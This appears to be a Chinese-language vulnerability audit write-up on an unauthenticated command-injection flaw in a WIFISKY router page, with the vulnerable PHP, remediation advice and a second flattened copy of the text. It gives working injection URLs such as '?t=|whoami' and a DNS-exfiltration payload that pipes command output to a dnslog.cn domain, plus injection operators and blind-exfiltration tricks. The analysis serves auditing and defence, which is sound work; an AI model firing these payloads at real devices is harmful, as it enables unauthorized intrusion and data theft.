0day之某路由器前台RCE审计
字数 1354 2025-08-18 17:33:32

WIFISKY 7层流控路由器前台RCE漏洞审计分析

一、漏洞概述

本文详细分析WIFISKY 7层流控路由器中存在的前台命令执行漏洞(RCE)。该漏洞位于/notice/confirm.php文件中,由于未对用户输入进行有效过滤,导致攻击者可以在未授权的情况下执行任意系统命令。

二、漏洞原理

1. 漏洞代码分析

漏洞存在于/notice/confirm.php文件中,关键代码如下:

<? 
$ip = $_SERVER['REMOTE_ADDR']; 
$type = $_GET['t']; 

$file = @popen("/usr/hls/bin/notice s $ip $type", "r"); 
if ($file) pclose($file); 

exit; 
?>

2. 漏洞成因

  1. 未授权访问:该文件未包含鉴权代码,允许未认证用户访问
  2. 危险函数使用:使用了popen()函数执行系统命令
  3. 输入未过滤$_GET['t']参数直接拼接到命令中,未进行任何过滤处理
  4. 命令注入:攻击者可以通过管道符|注入额外命令

三、漏洞利用方法

1. 利用管道符进行命令注入

Linux管道符|可以将多个命令连接起来,前一个命令的输出作为后一个命令的输入。利用这一点可以注入额外命令:

/notice/confirm.php?t=|whoami

2. 无回显命令执行验证

当命令执行无回显时,可以通过DNS外带技术验证:

  1. 使用DNSLog平台获取临时域名(如:xxx.dnslog.cn)
  2. 构造payload执行ping命令:
/notice/confirm.php?t=|ping `whoami`.xxx.dnslog.cn
  1. 如果存在漏洞,DNSLog平台会收到解析请求,显示执行的命令结果

四、审计方法论

1. 审计目标筛选原则

  1. 只审计前台功能,不审计后台
  2. 只关注可能导致RCE的漏洞
  3. 优先审计无鉴权的文件

2. PHP危险函数列表

审计时应重点检查以下可能导致命令执行的函数:

  • eval()
  • assert()
  • call_user_func()
  • create_function()
  • array_map()
  • call_user_func_array()
  • system()
  • passthru()
  • exec()
  • pcntl_exec()
  • shell_exec()
  • popen()
  • proc_open()

3. 命令执行漏洞产生条件

  1. 使用了上述危险函数
  2. 函数参数用户可控
  3. 缺乏有效的输入过滤
  4. 接口权限校验缺失

五、漏洞修复建议

  1. 输入验证:对$_GET['t']参数进行严格过滤,只允许预期的字符
  2. 使用安全函数:使用escapeshellarg()escapeshellcmd()处理命令参数
  3. 权限控制:添加鉴权机制,确保只有授权用户能访问
  4. 最小权限原则:Web服务器运行用户应具有最小必要权限
  5. 使用替代方案:考虑使用更安全的PHP函数替代直接执行系统命令

六、扩展知识

1. Linux管道符详解

管道符|是Linux中强大的命令操作符,特点包括:

  • 连接多个命令
  • 前一个命令的输出作为后一个命令的输入
  • 只显示最后一个命令的输出
  • 常用于命令注入攻击

2. 无回显漏洞验证技术

  1. DNS外带:通过DNS请求带出命令执行结果
  2. HTTP请求:使用curl/wget将结果发送到攻击者服务器
  3. 时间延迟:通过sleep等命令造成可观测的时间延迟
  4. 文件写入:将结果写入web目录可访问的文件中

3. 其他常见命令注入符号

除了管道符|外,还需注意:

  • ;:顺序执行多个命令
  • &&:前一个命令成功则执行下一个
  • ||:前一个命令失败则执行下一个
  • >>>:重定向输出
  • $():命令替换(等同于反引号)
WIFISKY 7层流控路由器前台RCE漏洞审计分析 一、漏洞概述 本文详细分析WIFISKY 7层流控路由器中存在的前台命令执行漏洞(RCE)。该漏洞位于 /notice/confirm.php 文件中,由于未对用户输入进行有效过滤,导致攻击者可以在未授权的情况下执行任意系统命令。 二、漏洞原理 1. 漏洞代码分析 漏洞存在于 /notice/confirm.php 文件中,关键代码如下: 2. 漏洞成因 未授权访问 :该文件未包含鉴权代码,允许未认证用户访问 危险函数使用 :使用了 popen() 函数执行系统命令 输入未过滤 : $_GET['t'] 参数直接拼接到命令中,未进行任何过滤处理 命令注入 :攻击者可以通过管道符 | 注入额外命令 三、漏洞利用方法 1. 利用管道符进行命令注入 Linux管道符 | 可以将多个命令连接起来,前一个命令的输出作为后一个命令的输入。利用这一点可以注入额外命令: 2. 无回显命令执行验证 当命令执行无回显时,可以通过DNS外带技术验证: 使用DNSLog平台获取临时域名(如:xxx.dnslog.cn) 构造payload执行ping命令: 如果存在漏洞,DNSLog平台会收到解析请求,显示执行的命令结果 四、审计方法论 1. 审计目标筛选原则 只审计前台功能,不审计后台 只关注可能导致RCE的漏洞 优先审计无鉴权的文件 2. PHP危险函数列表 审计时应重点检查以下可能导致命令执行的函数: eval() assert() call_user_func() create_function() array_map() call_user_func_array() system() passthru() exec() pcntl_exec() shell_exec() popen() proc_open() 3. 命令执行漏洞产生条件 使用了上述危险函数 函数参数用户可控 缺乏有效的输入过滤 接口权限校验缺失 五、漏洞修复建议 输入验证 :对 $_GET['t'] 参数进行严格过滤,只允许预期的字符 使用安全函数 :使用 escapeshellarg() 或 escapeshellcmd() 处理命令参数 权限控制 :添加鉴权机制,确保只有授权用户能访问 最小权限原则 :Web服务器运行用户应具有最小必要权限 使用替代方案 :考虑使用更安全的PHP函数替代直接执行系统命令 六、扩展知识 1. Linux管道符详解 管道符 | 是Linux中强大的命令操作符,特点包括: 连接多个命令 前一个命令的输出作为后一个命令的输入 只显示最后一个命令的输出 常用于命令注入攻击 2. 无回显漏洞验证技术 DNS外带 :通过DNS请求带出命令执行结果 HTTP请求 :使用curl/wget将结果发送到攻击者服务器 时间延迟 :通过 sleep 等命令造成可观测的时间延迟 文件写入 :将结果写入web目录可访问的文件中 3. 其他常见命令注入符号 除了管道符 | 外,还需注意: ; :顺序执行多个命令 && :前一个命令成功则执行下一个 || :前一个命令失败则执行下一个 > 、 >> :重定向输出 $() :命令替换(等同于反引号)